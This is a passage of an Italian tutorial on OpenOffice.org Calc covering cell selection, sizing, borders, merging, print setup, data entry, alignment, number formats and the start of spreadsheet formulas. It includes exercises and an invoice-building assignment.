una zona di celle	con un clic del primo tasto del mouse su una cella che rappresenta un angolo della zona voluta, trascinando fino all'angolo opposto; oppure, con la tastiera, spostando il cursore in un angolo della zona, quindi, mantenendo premuto il tasto [*Maiuscole*], spostando ancora il cursore fino all'angolo opposto;
una colonna intera	con un clic sulla lettera di intestazione della stessa;
più colonne adiacenti	con un clic sulla lettera di intestazione della prima colonna voluta, trascinando nella direzione delle altre colonne da selezionare;
una riga intera	con un clic sul numero di intestazione della riga (a sinistra);
più righe adiacenti	con un clic sul numero di intestazione della prima riga da voluta, trascinando nella direzione delle altre righe da selezionare;
un insieme costituito da più zone distinte (eventualmente anche colonne e righe intere)	in tal caso si deve usare il mouse soltanto e si procede come per le selezioni già descritte, mantenendo premuto il tasto [*Ctrl*] dopo la prima selezione;
tutta la scheda	con un clic sul rettangolo che congiunge le intestazioni numeriche di riga e quelle letterali di colonna.

122.2.8 Esercizi

122.2.8.1) Utilizzando il mouse (o un dispositivo equivalente), come si seleziona la zona di celle A7:C9?

122.2.8.2) Utilizzando la tastiera, come si seleziona la zona di celle A7:C9?

122.2.8.3) Utilizzando il mouse (o un dispositivo equivalente), come si seleziona la zona di celle A7:C9 e la zona D3:F7?

122.2.8.4) Utilizzando il mouse (o un dispositivo equivalente), come si selezionano le colonne B, D, E e G?

122.2.8.5) Utilizzando il mouse (o un dispositivo equivalente), come si selezionano tutte le celle del foglio attivo?

122.2.9 Regolazione delle dimensioni delle celle

Le celle del foglio di lavoro possono essere ridimensionate, tenendo presente che tale modifica coinvolge anche le altre nella riga o nella colonna, a seconda di quale dimensione si va a modificare. Per modificare le dimensioni delle celle si interviene generalmente con il mouse, sull'intestazione di riga o di colonna, a cavallo tra una riga e l'altra, o tra una colonna e l'altra, trascinando fino al raggiungimento della dimensione desiderata.

Figura 122.31. A sinistra si vede il ridimensionamento in corso della terza riga; a destra si vede il ridimensionamento della colonna C.

Per ridimensionare una colonna o una riga, si può intervenire in modo più semplice, attraverso la tastiera: si posiziona il cursore dell'area di lavoro su una cella da prendere come riferimento, quindi, con la combinazione [*Alt freccia...*] si cambiano le dimensioni della stessa, coinvolgendo la riga o la colonna, a seconda del tipo di ridimensionamento.

Si può applicare una dimensione precisa alla colonna o alla riga, selezionandola e richiamando dal menù la voce `Formato`, `Riga`, `Altezza`, ovvero `Formato`, `Colonna`, `Larghezza`. Si può regolare la dimensione di più righe o di più colonne, simultaneamente, selezionandole e regolando la dimensione di una di queste. Si può accedere alla regolazione precisa delle righe o delle colonne, con un menù contestuale che si ottiene con un clic del terzo tasto del mouse, sull'intestazione delle righe o delle colonne.

Figura 122.32. A sinistra la selezione delle righe 3 e 4 con il menù contestuale aperto; a destra la selezione delle colonne A e B con il menù contestuale aperto.

Le righe e le colonne possono essere ridotte a un'altezza o un'ampiezza nulla, per nasconderne il contenuto. In tal caso, però, conviene sfruttare la funzione apposita, ottenibile dal menù alla

voce *Formato*, *Riga*, *Nascondi*, ovvero *Formato*, *Colonna*, *Nascondi*. Naturalmente, la stessa funzione è disponibile anche nel menù contestuale, come si vede dalla figura appena mostrata.

122.2.10 Esercizi

122.2.10.1) Utilizzando il mouse (o un dispositivo equivalente), come si regola l'altezza della riga 5?

122.2.10.2) Utilizzando il mouse (o un dispositivo equivalente), come si regola l'altezza della riga 5 e della riga 7, in modo simultaneo?

122.2.10.3) Utilizzando la tastiera, come si regola l'altezza della riga 7 e la larghezza della colonna C?

122.3 Bordi, sfondi e fusione celle

Per la presentazione dei dati si richiede generalmente la definizione di bordi per le celle ed eventualmente di sfondi colorati. Bordi e sfondi possono essere inseriti in modo rapido, attraverso uno strumento approssimativo, oppure in modo preciso, richiamando la voce apposita dal menù.

122.3.1 Definizione dei bordi associata alla cella

Il bordo è un'informazione che OpenOffice.org Calc associa alle celle, tanto che due celle adiacenti possono avere nella linea di contatto dei bordi differenti: in tal caso vince quello più spesso o comunque ritenuto più importante.

Il fatto che i bordi siano indipendenti, cella per cella, vuole anche dire che se esiste un bordo inferiore della cella C3, a nulla serve tentare di toglierlo o di modificarlo dalla cella C4, cercando di agire sul bordo superiore di questa.

122.3.2 Esercizi

122.3.2.1) Tra le colonne C e D appare un bordo che occupa le righe dalla terza alla quinta. Volendo togliere il bordo, si selezionano le celle da C3 a C5 e si elimina il bordo destro. Ma se ciò non dovesse funzionare, quale sarebbe la ragione?

122.3.2.2) La cella A1 ha un bordo destro, di colore nero e con uno spessore di un punto; la cella B1 ha un bordo sinistro di colore rosso, con uno spessore di due punti. Quale linea si vede tra la cella A1 e B1?

122.3.3 Bordi rapidi

Nella barra degli strumenti di composizione, si trova normalmente l'icona seguente, dalla quale si accede a una finestra per l'inserimento rapido di bordi. C'è però un inconveniente: si gestiscono solo bordi neri di 0,05 punti.[3]

Figura 122.33. A sinistra l'icona della barra degli strumenti di composizione, con la quale si apre la finestra dei bordi rapidi, visibile a destra. Per chiudere la finestra dei bordi rapidi, è sufficiente premere il tasto [*Esc*] quando questa è attiva (in primo piano).

I bordi rapidi si applicano a una zona di celle singola, distinguendo tra bordi esterni e bordi interni: i bordi esterni sono quelli del contorno della zona, mentre quelli interni sono gli altri.

Tabella 122.34. Funzione delle varie icone della finestra dei bordi rapidi.

Icona	Effetto
	Annulla i bordi di tutte le celle selezionate.
	Mette un bordo predefinito sul contorno esterno verticale sinistro delle celle selezionate.
	Mette un bordo predefinito sul contorno esterno verticale destro delle celle selezionate.
	Mette un bordo predefinito sul contorno esterno orizzontale superiore delle celle selezionate.
	Mette un bordo predefinito sul contorno esterno orizzontale inferiore delle celle selezionate.
	Mette un bordo predefinito sul contorno esterno verticale sinistro e destro delle celle selezionate.
	Mette un bordo predefinito sul contorno esterno orizzontale superiore e inferiore delle celle selezionate.
	Mette un bordo predefinito su tutto il contorno esterno delle celle selezionate.
	Mette tutti i bordi orizzontali, interni ed esterni.
	Mette tutti i bordi orizzontali, interni ed esterni, e quelli verticali esterni.
	Mette tutti i bordi verticali, interni ed esterni, e quelli orizzontali esterni.
	Mette tutti i bordi orizzontali e verticali, interni ed esterni.

122.3.4 Esercizi

122.3.4.1) Si seleziona la zona B2:D3 che inizialmente è priva di bordi. Con i bordi rapidi, cosa occorre scegliere per bordare il lato sinistro delle celle B2 e B3?

122.3.4.2) Si seleziona la zona B1:F10 che inizialmente è priva di bordi. Con i bordi rapidi, cosa occorre scegliere per bordare tutti i lati esterni e solo quelli verticali interni?

122.3.5 Bordi attraverso il menù

Per definire i bordi di una zona di celle, in modo più dettagliato, si deve selezionare la funzione del menù `Formato`, `Celle`, `Bordo`, che si può abbreviare dal menù contestuale con `Formatta celle`, `Bordo`.

Figura 122.35. Maschera della funzione `Formato`, `Celle`, `Bordo`.

Nella parte centrale della maschera è possibile definire il tipo di linea, lo spessore e il suo colore. A destra è possibile regolare il margine interno delle celle, in modo che il contenuto non vada a contatto delle linee di contorno. A sinistra è possibile mettere o togliere le linee del bordo, con la massima libertà; eventualmente possono essere messe anche delle sbarre oblique, interne alle celle. Vengono mostrati alcuni esempi dell'effetto che si può ottenere in una zona di celle di 3×3 elementi.

modello zona di celle selezionata

modello

zona di celle selezionata

modello

zona di celle selezionata

122.3.6 Sfondi

In condizioni normali, lo sfondo di una cella è «trasparente»; in alternativa gli si può assegnare un colore uniforme, da scegliere da una tavolozza, più o meno estesa. Si può usare la funzione rapida dalla barra degli strumenti di composizione, oppure dalla voce di menù `Formato`, `Celle`, `Sfondo`.

Figura 122.39. Sfondi rapidi: si vede l'icona della barra degli strumenti di composizione e la finestra relativa aperta. Per chiudere la finestra degli sfondi rapidi, è sufficiente premere il tasto [*Esc*] quando questa è attiva (in primo piano).

Trasparente

Figura 122.40. Maschera della funzione `Formato`, `Celle`, `Sfondo`.

122.3.7 Fusione delle celle

Dal punto di vista visivo, un gruppo di celle rettangolare può essere fuso assieme, in una cella sola. In pratica, si tratta della cella del gruppo che si trova nell'angolo superiore sinistro, la quale si espande fino a coprire lo spazio delle altre.

Figura 122.41. Icona della barra degli strumenti di composizione, per ottenere la fusione o lo scioglimento delle celle. Si vede la stessa icona in due contesti differenti: avendo selezionato delle celle da fondere o delle celle che possono essere sciolte.

Per unire e separare le celle attraverso le funzioni del menù, occorre selezionare `Formato`, `Unisci celle` e scegliere poi l'azione voluta.

Come già accennato, non si tratta di una fusione vera e propria, ma di un'estensione della prima cella (quella dell'angolo superiore sinistro nell'ambito della zona in questione). Pertanto, il contenuto della cella ottenuta dalla fusione è quello della prima. Quando si uniscono assieme delle celle che hanno già dei contenuti, se oltre alla prima cella ce ne sono degli altri, viene chiesto se quelli vanno trasferiti nella prima cella (quella che si rappresenta effettivamente). Pertanto, rinunciando a questa eventualità, diventa possibile nascondere dei dati sotto a una cella che ricopre una dimensione più grande, ma in generale è bene non utilizzare questo metodo di lavoro, evitando di lasciare dei dati nascosti sotto a un insieme di celle fuse assieme.

122.3.8 Esercitazione pratica

Questa esercitazione introduce un lavoro sulle fatture che deve essere conservato per delle verifiche successive. Inizialmente si deve salvare il lavoro con il nome '`fattura-00.ods`'.

Si richiede di predisporre esattamente una griglia di celle, in base alla struttura che si vede nella figura successiva, facendo attenzione alla fusione delle celle. Nella seconda figura si vede meglio in che modo devono essere applicati i bordi alle celle, tenendo presente che va usato generalmente lo spessore di 0,05 punti, a parte il caso del totale che ha uno spessore di due punti. Tutte le righe hanno un'altezza di 0,57 cm (5,7 mm); le colonne hanno diverse larghezze: 0,5 cm per le colonne A e K; 1,5 cm per le colonne B, D, E, F, G, H e J; 3 cm per le colonne C e I.

Figura 122.43. Aspetto finale, senza griglia, per sapere dove si applicano i bordi. La scritta sovraimposta non deve apparire.

122.4 Configurazione della stampa

Se si scrivono dei dati all'interno di una scheda del foglio elettronico di OpenOffice.org Calc, senza specificare alcunché riguardo alla stampa, il programma fa quello che può per produrre il lavoro secondo un'impaginazione predefinita. Diversamente si può specificare l'area da stampare e altre opzioni riferite alla stampa.

122.4.1 Area da riservare alla stampa

Se non si specifica diversamente, tutto quello che viene inserito in una scheda viene stampato; altrimenti, va usate la funzioni del menù `Formato`, `Area di stampa`:

Figura 122.44. Menù `Formato`, `Aree di stampa`.

Inizialmente si seleziona la prima zona da stampare della scheda attiva e si richiede la funzione `Formato`, `Area di stampa`, `Definisci`. In questo modo, della scheda attuale si ottiene esclusivamente la stampa della zona selezionata, eliminando eventuali selezioni precedenti. Poi, se nella stessa scheda ci sono altre informazioni che devono apparire in una pagina separata, si seleziona un'altra zona comprendente tali altre informazioni (o parte di esse) e si richiede la funzione `Formato`, `Area di stampa`, `Aggiungi`. Si può continuare così ad aggiungere altre zone da stampare in pagine separate.

La funzione `Formato`, `Area di stampa`, `Rimuovi` elimina tutte le selezioni della scheda corrente.

La funzione `Formato`, `Area di stampa`, `Modifica`, consente di intervenire manualmente nella definizione delle zone da stampare, con la possibilità di specificare anche una riga e di una colonna da ripetere per ogni pagina.

Figura 122.45. Funzione `Formato`, `Aree di stampa`, `Modifica`. Si vogliono stampare le zone A1:D6 e E10:H18, con l'aggiunta che la prima riga (1) e la prima colonna (A) appaiono anche nella pagina della seconda zona selezionata.

122.4.2 Configurazione della pagina

Va osservato che, con OpenOffice.org Calc, la configurazione della pagina si raggiunge con la funzione `Formato`, `Pagina`, al contrario di altri programmi che invece mettono tale voce nel menù `File`. Si ottiene una finestra suddivisa in schede, di cui si descrivono le più importanti.

Figura 122.46. Funzione `Formato`, `Pagina`, `Pagina`, con le impostazioni predefinite.

Nella maschera `Formato`, `Pagina`, `Pagina`, come si vede nella figura, a sinistra si può definire il formato della carta, il suo orientamento e i margini. Sulla destra è possibile richiedere di centrare ciò che si stampa orizzontalmente e verticalmente.

Figura 122.47. Funzione `Formato`, `Pagina`, `Riga d'intestazione`, con le impostazioni predefinite: la riga di intestazione è attiva.

Nella maschera `Formato`, `Pagina`, `Riga di intestazione`, come si vede nella figura, è possibile attivare l'inserimento di una riga di intestazione, tra la fine del margine superiore e l'inizio del contenuto da stampare. Per modificare la riga di intestazione in sé, occorre selezionare il pulsante grafico `Modifica`.

Figura 122.48. Funzione `Formato`, `Pagina`, `Riga d'intestazione`, `Modifica` con le impostazioni predefinite: viene mostrato al centro il nome della scheda attiva.

La maschera `Formato`, `Pagina`, `Piè di pagina`, funziona in modo analogo a quella per l'intestazione. In questo caso si tratta di uno spazio che si inserisce tra il margine inferiore della pagina e il contenuto da stampare.

Figura 122.49. Funzione `Formato`, `Pagina`, `Piè di pagina`, con le impostazioni predefinite: il piede di pagina è attivo.

Figura 122.50. Funzione `Formato`, `Pagina`, `Piè di pagina`, `Modifica`, con le impostazioni predefinite: viene mostrato al centro il numero della pagina.

La maschera che si ottiene dalla funzione `Formato`, `Pagina`, `Foglio`,[4] è molto importante e va considerata attentamente.

Figura 122.51. Funzione `Formato`, `Pagina`, `Foglio`, con le impostazioni predefinite.

Nella parte superiore della maschera di configurazione è possibile definire la sequenza delle pagine e il primo numero di pagina. Nella fascia centrale è possibile richiedere di visualizzare nella stampa le intestazioni di riga e di colonna (i numeri delle righe e le lettere delle colonne), una griglia per evidenziare le aree occupate dalle celle (anche se non sono stati definiti dei bordi in modo esplicito), le note eventuali, le immagini e gli altri oggetti, i diagrammi (ovvero i grafici), i disegni, le formule e i valori a zero. La figura mostra le impostazioni predefinite e da ciò si comprende che quanto non è selezionato rappresenta una richiesta particolare rispetto al modo consueto di stampare il contenuto di un foglio. Nella parte inferiore è possibile stabilire la scala di riproduzione, dove nella figura già apparsa è attiva la scelta di una scala proporzionale, da definire in modo percentuale rispetto alle dimensioni effettive; le figure seguenti mostrano gli altri casi possibili:

Nel primo caso si danno delle misure massime in larghezza e altezza, come quantità di pagine; nel secondo si specificano semplicemente quante pagine si vogliono al massimo. Evidentemente, ciò significa che il programma deve calcolare una scala adatta a far sì che tutto sia nello spazio massimo definito.

122.4.3 Verifica

Si riapra il file '`fattura-00.ods`' creato nell'esercitazione 122.3.8 e lo si salvi con il nome '`fattura-01.ods`'.

Si deve procedere quindi a impostare l'area di stampa, corrispondente alla zona A1:K47. Quindi va configurata la pagina in modo da utilizzare il formato A4, con margini di un centimetro per ogni lato, senza riga di intestazione e senza piè di pagina, centrando orizzontalmente il contenuto nella pagina (verticalmente deve rimanere allineato normalmente).

Si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle e l'intestazione di riga e di colonna, come nelle immagini successive. Il lavoro stampato va consegnato per la valutazione.

Figura 122.54. Stampa «normale». La scritta sovraimposta non deve apparire.

122.5 Inserimento, variazione, collocazione e composizione dei dati nelle celle

L'inserimento di un dato in una cella si ottiene generalmente digitandolo mentre il cursore dell'area di lavoro si trova sulla cella voluta, concludendo l'operazione con la pressione del tasto [*Invio*]. Il dato inserito può essere rappresentato allineandolo nella cella in vario modo; inoltre, può essere rappresentato in modi diversi, sia esteticamente, sia nel significato numerico che può assumere.

Per modificare le caratteristiche associate alla cella, si usa la funzione del menù `Formato`, `Celle`, la quale si può attivare anche con la combinazione di tasti [*Ctrl 1*].

Tasto o combinazione di tasti	Effetto
Ctrl + 1	Fa apparire la finestra di controllo delle caratteristiche associate alla cella.

122.5.1 Inserimento e variazione

Come già accennato all'inizio del capitolo, l'inserimento di un dato richiede semplicemente la collocazione del cursore dell'area di lavoro sulla cella desiderata e la digitazione dell'informazione, conclusa con la pressione del tasto [*Invio*].

Figura 122.57. Le tre fasi dell'inserimento: collocazione del cursore nell'area di lavoro, la digitazione, la conclusione con la pressione di [*Invio*]. Al termine il cursore si sposta nella cella successiva.

In alternativa, per iniziare un inserimento è possibile fare un clic con il primo tasto del mouse sulla riga di digitazione che fa parte della barra dei contenuti. Nella figura successiva si vede l'inserimento in quattro fasi: nella seconda fase si vede il cursore di digitazione che lampeggia nella riga in alto.

Figura 122.58. Inserimento attraverso la riga di digitazione della barra per il controllo dei contenuti: collocazione del cursore nell'area di lavoro, clic con il primo tasto del mouse sulla riga di digitazione, digitazione, la conclusione con la pressione di [*Invio*]. Al termine il cursore si sposta nella cella successiva.

L'inserimento di un dato in una cella produce il rimpiazzo del suo contenuto precedente. Eventualmente, un inserimento che non è ancora stato concluso con la pressione di [*Invio*], può essere annullato premendo il tasto [*Esc*], ovvero selezionando il pulsante della barra del controllo dei contenuti, produce lo stesso effetto.

La variazione del contenuto di una cella può avvenire secondo diverse modalità operative che portano comunque allo stesso risultato. Il modo più semplice per iniziare la modifica di una cella consiste nella pressione del tasto [*F2*]: appare il cursore di scrittura alla fine del contenuto della cella e con i tasti freccia è possibile spostarsi nella posizione desiderata per correggere il contenuto. Anche in questo caso si conclude l'operazione con il tasto [*Invio*], oppure si annulla con il tasto [*Esc*].

Con il mouse è possibile iniziare la modifica del contenuto della cella in cui si trova il cursore, con un clic nel testo che appare nella riga di digitazione; oppure, con un clic doppio sulla cella da modificare.

122.5.1.1 Inserimento di un'interruzione di riga nel testo di una cella

Il testo inserito in una cella può essere mandato a capo, in modo esplicito, con la combinazione di tasti [*Ctrl Invio*]. Si ottiene il risultato in fase di inserimento o in fase di modifica, ma l'azione non funziona se l'inserimento o la modifica inizia con un clic nella riga di digitazione, sulla barra per il controllo dei contenuti.

Tasto o combinazione di tasti	Risultato
Ctrl + Invio ↵	In fase di inserimento o di modifica del contenuto di una cella, di norma inserisce un'interruzione di riga, mandando a capo il testo successivo.
Invio ↵	Conferma l'inserimento e sposta il cursore alla cella inferiore, nella stessa colonna.

Tasto o combinazione di tasti	Risultato
Esc	Annulla l'inserimento o la modifica in corso.

122.5.2 Collocazione nella cella

La cella è uno spazio rettangolare in cui si va a collocare un'informazione che produce un risultato grafico. Tale informazione può essere allineata rispetto alla cella e può avere un margine rispetto ai bordi.

Figura 122.60. Margini interni alla cella.

A
1
123,456
margine superiore
margine inferiore
margine sinistro
margine destro

L'allineamento dei dati in una cella viene considerato orizzontalmente e verticalmente. Nella barra degli strumenti di composizione appaiono generalmente dei pulsanti per l'allineamento orizzontale, ma la funzione `Formato`, `Celle`, `Allineamento`, offre tutte le funzionalità disponibili.

Figura 122.61. Allineamento orizzontale attraverso i pulsanti della barra degli strumenti di composizione.

Figura 122.62. Maschera della funzione `Formato`, `Celle`, `Allineamento`, con le impostazioni predefinite delle celle.

Numeri | Carattere | Effetto carattere | **Allineamento** | Bordo | Sfondo | Protezione celle

Allineamento testo

Orizzontale: Standard — Rientro: 0pt — Verticale: Standard

Orientamento del testo

ABCD — Gradi: 0 — Sovrapposizione verticale

Bordo di riferimento

Proprietà

Scorrimento testo automatico

Sillabazione attiva

Adatta alle dimensioni della cella

OK | Annulla | ? | Ripristina

Tabella 122.63. Le modalità di allineamento principali.

Effetto	Allineamento orizzontale	Allineamento verticale
123,456	a destra	in basso
123,456	al centro	in basso
123,456	a sinistra	in basso
123,456	a sinistra	al centro
123,456	a sinistra	in alto
123,456	al centro	in alto
123,456	a destra	in alto
123,456	a destra	al centro

Effetto	Allineamento orizzontale	Allineamento verticale
123,456	al centro	al centro

122.5.3 Rotazione del contenuto della cella

Il contenuto della cella può apparire orientato nel modo «normale», oppure ruotato di una quantità di gradi stabilita. La funzione `Formato`, `Celle`, `Allineamento`, offre la possibilità di modificare l'orientamento.

Figura 122.64. Maschera della funzione `Formato`, `Celle`, `Allineamento`, con un testo inclinato di 45°, rispetto alla scrittura normale.

Nella definizione dell'orientamento del contenuto della cella, quando la rotazione non è un multiplo esatto di 90, come nel caso della figura, diventa importante definire il «bordo di riferimento». Nelle figure successive si mettono a confronto diversi casi di orientamento a 45° di un testo molto semplice.

Figura 122.65. Orientamento a 45° con estensione del testo dal bordo inferiore della cella. Il testo inclinato si trova nella cella B1 e fuoriesce sulla cella C1.

Figura 122.66. Orientamento a 45° con estensione del testo dal bordo superiore della cella. Il testo inclinato si trova nella cella B2 e fuoriesce sulla cella A2.

Figura 122.67. Orientamento a 45° con estensione del testo solo all'interno della cella. Il testo inclinato si trova nella propria cella senza fuoriuscire ai lati.

Si considera come parte dell'orientamento del testo anche la «sovrapposizione verticale», ovvero la scrittura dall'alto in basso con lettere orientate però nel modo normale. Si vede un esempio nella figura successiva.

Figura 122.68. Sovrapposizione verticale del testo: in tal caso, l'orientamento viene ignorato.

122.5.4 Testo a capo in modo automatico

Quando si introduce un testo in una cella, ovvero qualcosa che non ha un significato numerico di alcun tipo, se tale testo non è contenibile nella cella, in condizioni normali fuoriesce e si visualizza sopra le celle successive a destra. Se invece le celle successive sono occupate con qualche tipo di dato, l'informazione testuale appare troncata.

Figura 122.69. Le celle A1, A2 e A3 contengono lo stesso testo: «ciao a tutti voi». Il testo non è contenibile nelle celle rispettive e, nella sua visualizzazione, invade le celle vicine se sono libere.

	A	B	C
1	ciao a	tutti voi	
2	ciao a	tutti vo	123
3	ciao a	123	

In fase di inserimento o di modifica del contenuto delle celle, escluso il caso in cui l'operazione inizi dalla selezione delle riga di digitazione (nella barra per il controllo dei contenuti), è possibile richiedere un'interruzione di riga attraverso la combinazione [*Ctrl Invio*]. Tuttavia, può essere più efficace richiedere che il testo vada a capo automaticamente, attivando la voce `Scorrimento testo automatico`. Inoltre, se si attiva tale opzione, è possibile richiedere anche la sillabazione.

Figura 122.70. Maschera della funzione `Formato`, `Celle`, `Allineamento`, con le voce `Scorrimento testo automatico` attiva, assieme alla sillabazione automatica.

Numeri | Carattere | Effetto carattere | **Allineamento** | Bordo | Sfondo | Protezione celle

Allineamento testo

Orizzontale: Standard — Rientro: 0pt — Verticale: Standard

Orientamento del testo

ABCD — Gradi: 0 — ☐ Sovrapposizione verticale

Bordo di riferimento

Proprietà

☑ Scorrimento testo automatico

☑ Sillabazione attiva

☐ Adatta alle dimensioni della cella

OK | Annulla | ? | Ripristina

Se è attivo lo scorrimento automatico del testo, è possibile richiedere anche un allineamento orizzontale «giustificato», ovvero un allineamento simultaneo a sinistra e a destra, rendendo elastici gli spazi tra le parole del testo inserito.

122.5.5 Caratteristiche del carattere tipografico

In un foglio elettronico, è bene che le caratteristiche del carattere siano definite a livello di cella: in altri termini è bene evitare di attribuire a una porzione del testo di una cella delle caratteristiche differenti rispetto a quelle complessive. Pertanto, per un lavoro ordinato e affidabile, è necessario considerare la caratteristica del carattere come parte di quelle associate alla cella nel suo complesso.

Sulla barra degli strumenti di composizione appaiono icone e tendine per la scelta del tipo di carattere, per specificarne la sua dimensione, lo spessore, l'inclinazione e altri dettagli, oltre al colore da usare.

Figura 122.71. Componenti della barra degli strumenti di composizione, utili per specificare le caratteristiche del carattere.

Figura 122.72. Bottone della barra degli strumenti di composizione e finestra per il cambiamento del colore del carattere.

Per una definizione più precisa delle caratteristiche del carattere, si può usare le funzioni `Formato`, `Celle`, `Carattere` e `Formato`, `Celle`, `Effetto carattere`.

Figura 122.73. Funzione `Formato`, `Celle`, `Carattere`.

Figura 122.74. Funzione `Formato`, `Celle`, `Effetto carattere`.

Secondo la tradizione tipografica, la dimensione del carattere (l'altezza) si esprime in punti tipografici. Il punto tipografico di un sistema di elaborazione elettronico, è pari a 1/72 di pollice, corrispondenti a circa 0,353 mm. Mentre tutte le altre misure del foglio elettronico possono essere espresse nell'unità di misura preferita, nel caso del carattere è necessario usare il punto tipografico.

122.5.6 Modalità di rappresentazione numerica di un valore

Il foglio elettronico gestisce valori numerici rappresentati internamente in virgola mobile. Un valore qualunque può essere rappresentato esteriormente (tipograficamente) in molti modi alternativi. Di norma, se viene riconosciuto un certo tipo di significato al valore che si inserisce, la modalità di rappresentazione viene impostata implicitamente, altrimenti occorre intervenire espressamente.

Alcuni bottoni grafici della barra degli strumenti di composizione consentono di cambiare rapidamente la rappresentazione esteriore di un valore per le situazioni più comuni: la valuta (nel senso che il valore è da intendersi espresso in una certa moneta), la percentuale, l'aumento o la riduzione del numero delle cifre decimali fisse.

Figura 122.75. Componenti della barra degli strumenti di composizione, utili per intervenire sulla modalità di rappresentazione dei valori numerici.

Per il controllo completo sulla rappresentazione numerica dei valori è necessario accedere alla funzione `Formato`, `Celle`, `Numeri`.

Figura 122.76. Funzione `Formato`, `Celle`, `Numeri`.

Nella maschera che si vede nella figura, appare a sinistra un elenco di tipologie di rappresentazioni numeriche, ma in ogni caso, qualunque forma si scelga, si può esprimere secondo un certo linguaggio, nel campo `Codice del formato`. Esiste anche un formato speciale per fare in modo che in una cella, tutto ciò che si inserisce, sia recepito soltanto come un testo, privo di alcun valore numerico: '`@`'.

122.5.7 Esercizi

Sperimentando diversi tipi di formato di rappresentazione numerica, si risponda alle domande successive per deduzione, attraverso una sperimentazione pratica. Per esempio, sapendo che una data espressa come «31/12/2010» si ottiene con il formato '`GG/MM/AAAA`', si può verificare che una data del tipo «31 12 2010» si può ottenere con il formato '`GG MM AAAA`'.

122.5.7.1) Come si può richiedere un formato numerico che consenta di rappresentare un valore nella forma '`1 234 567 890,12`', mantenendo due decimali fissi in ogni caso?

122.5.7.2) Lavorando con una configurazione italiana, come si può richiedere un formato numerico che consenta di rappresentare un orario nella forma '`11:45:33`'?

122.5.7.3) Lavorando con una configurazione italiana, come si può richiedere un formato numerico che consenta di rappresentare una data e un orario nella forma '`ven 30 dic 2050 12:15`'?

122.5.7.4) Quale tipo di rappresentazione numerica chiarisce che i dati introdotti in una cella vanno trattati soltanto in forma testuale?

122.5.8 Verifica

Si riapra il file '`fattura-01.ods`' creato nell'esercitazione 122.4.3 e lo si salvi con il nome '`fattura-02.ods`'.

Il file '`fattura-02.ods`' va modificato inserendo le descrizioni che si possono vedere nelle figure successive, costituite da dati testuali e da valori numerici (al momento si tratta solo delle percentuali dell'IVA). Il carattere da usare deve essere di tipo senza «grazie», preferibilmente quello con il nome «FreeSans», da 9 punti, con alcune eccezioni: le celle G6, F32 e F34 devono avere un carattere da 6 punti; le celle G8:G11 hanno un carattere da 10 punti; la cella H38 (quella del totale) deve avere un carattere da 18 punti.

Tutte le celle vanno configurate in modo da mandare a capo il testo automaticamente e da avere dei margini interni da 0,5 mm. Tutte le celle devono essere allineate **verticalmente** al centro.

Si osservi che nelle celle A16, K16, A34 e K34 appaiono due trattini, il cui scopo è quello di guidare la piega del foglio stampato per l'inserimento corretto in una busta con finestra, quando la fattura deve essere inviata.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle e l'intestazione di riga e di colonna, come nelle immagini successive. Il lavoro stampato va consegnato per la valutazione.

Figura 122.77. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire.

Fattura-02.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura
fattura n.
data e orario consegna o inizio trasporto
causale del trasporto
aspetto esteriore dei beni
n. colli

--
--

ordine		documento di trasporto		porto		trasporto a mezzo del
numero	data	numero	data			

spese di trasporto	spese di imballo	pagamento

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA

sconto sul totale:

riepilogo IVA

aliquota	imponibile	IVA
4%		
10%		
20%		

aliquota	imponibile	IVA
4%		
10%		
20%		

totale spese non documentate
totale IVA
spese documentate escluse dalla base imponibile
interessi
cauzioni
bolli

--
--

scadenza fattura
totale fattura

impresa incaricata del trasporto
annotazioni

firma del conducente o del vettore
firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.78. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, con il nome del file, non deve apparire.

	A	B	C	D	E	F	G	H	I	J	K
1		Fattura-02.ods					codice cliente:				
2											
3											
4											
5							CF o PI:				
6										Indirizzo di destinazione	
7											
8											
9		data fattura		fattura n.							
10											
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data						
19											
20		spese di trasporto			spese di imballo			pagamento			
21											
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23											
24											
25											
26											
27											
28											
29											
30											
31							sconto sul totale:				
32		riepilogo IVA				totale spese non documentate					
33		aliquota	imponibile	IVA		totale IVA					
34	--	4%				spese documentate escluse dalla base imponibile					--
35		10%				interessi					
36		20%				cauzioni					
37		aliquota	imponibile	IVA		bolli					
38		4%				scadenza fattura				totale fattura	
39		10%									
40		20%									
41		impresa incaricata del trasporto				annotazioni					
42											
43											
44											
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.6 Inserimento, copia e spostamento, riferimenti relativi e assoluti

In generale, il contenuto di una cella è sempre un'espressione, intesa come qualcosa che deve essere valutato e tradotto in un certo risultato esteriore. Tuttavia, si distingue tra dati costanti, nel senso che non richiedono un'elaborazione per determinare il risultato da visualizzare, e dati che invece richiedono tale elaborazione. Nel secondo caso si parla comunemente di formule; in questo corso si preferisce la definizione «espressione esplicita», in quanto si dichiara preventivamente la sua condizione.

La copia e lo spostamento di espressioni che contengono riferimenti ad altre celle ha delle implicazioni importanti che vanno considerate.

122.6.1 Espressione esplicita

Un'espressione esplicita inizia sempre con il simbolo '**`=`**'; per esempio, scrivere '**`=11`**' fa sì che si visualizzi il numero 11, ma a seguito della valutazione di un'espressione.

Diventa evidente che per poter scrivere un testo letterale che inizi con '**`=`**' occorre una forma di protezione; per esempio si può scrivere

```
'=...
```

oppure

```
="=..."
```

Lo scopo di un'espressione esplicita è solitamente quello di fare riferimento al contenuto di altre celle, per esempio come in '**`=A1+B1`**', in cui si vuole ottenere il risultato della somma numerica del contenuto delle celle A1 e B1, oppure come in '**`=somma(A1:A10)`**' dove si vuole ottenere la somma numerica della zona A1:A10.

Figura 122.79. Una cella che contiene un'espressione esplicita mostra il risultato dell'elaborazione del suo contenuto, mentre sulla barra di controllo appare il contenuto effettivo dell'espressione da elaborare.

